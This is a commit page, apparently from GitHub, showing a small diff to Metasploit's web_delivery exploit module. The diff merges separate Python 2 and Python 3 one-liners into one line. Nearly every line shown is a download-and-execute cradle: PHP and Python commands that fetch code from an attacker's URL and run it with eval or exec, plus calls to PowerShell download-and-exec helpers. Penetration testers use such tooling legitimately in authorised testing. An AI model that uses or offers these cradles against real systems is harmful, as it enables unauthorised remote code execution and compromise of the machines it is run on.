Skip to content

Commit 6b3cfe0

Browse files
committed
Support both Python 2 and Python 3 in one line
Tested on: * Python 2.7.13 on Windows * Python 3.5.3 on Windows
1 parent ffe77c4 commit 6b3cfe0

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -86,10 +86,8 @@ def primer
8686
when 'PHP'
8787
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
8888
when 'Python'
89-
print_line("python 2:")
90-
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
91-
print_line("Python 3:")
92-
print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
89+
print_line('Python:')
90+
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
9391
when 'PSH'
9492
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
9593
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)

0 commit comments

Comments
 (0)